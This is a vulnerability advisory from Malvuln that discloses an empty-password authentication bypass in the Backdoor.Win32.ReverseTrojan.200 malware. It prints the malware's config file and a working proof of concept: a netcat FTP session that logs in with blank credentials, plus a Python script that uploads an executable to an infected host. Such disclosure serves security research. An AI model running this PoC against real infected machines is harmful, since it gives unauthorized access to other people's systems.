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Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

Backdoor.Win32.ReverseTrojan.200 Authentication Bypass
Posted Jun 24, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.ReverseTrojan.200 malware suffers from an authentication bypass vulnerability.

tags | exploit, bypass
systems | windows
MD5 | d2b4c0a1bc954a4816174b3c63e1635f

Backdoor.Win32.ReverseTrojan.200 Authentication Bypass

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and 21. The malware accepts empty credentials for authentication as the default settings are set to blank. Third-party attackers who can reach an infected host can potentially gain access to the machine before or if no password is set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty Password")
print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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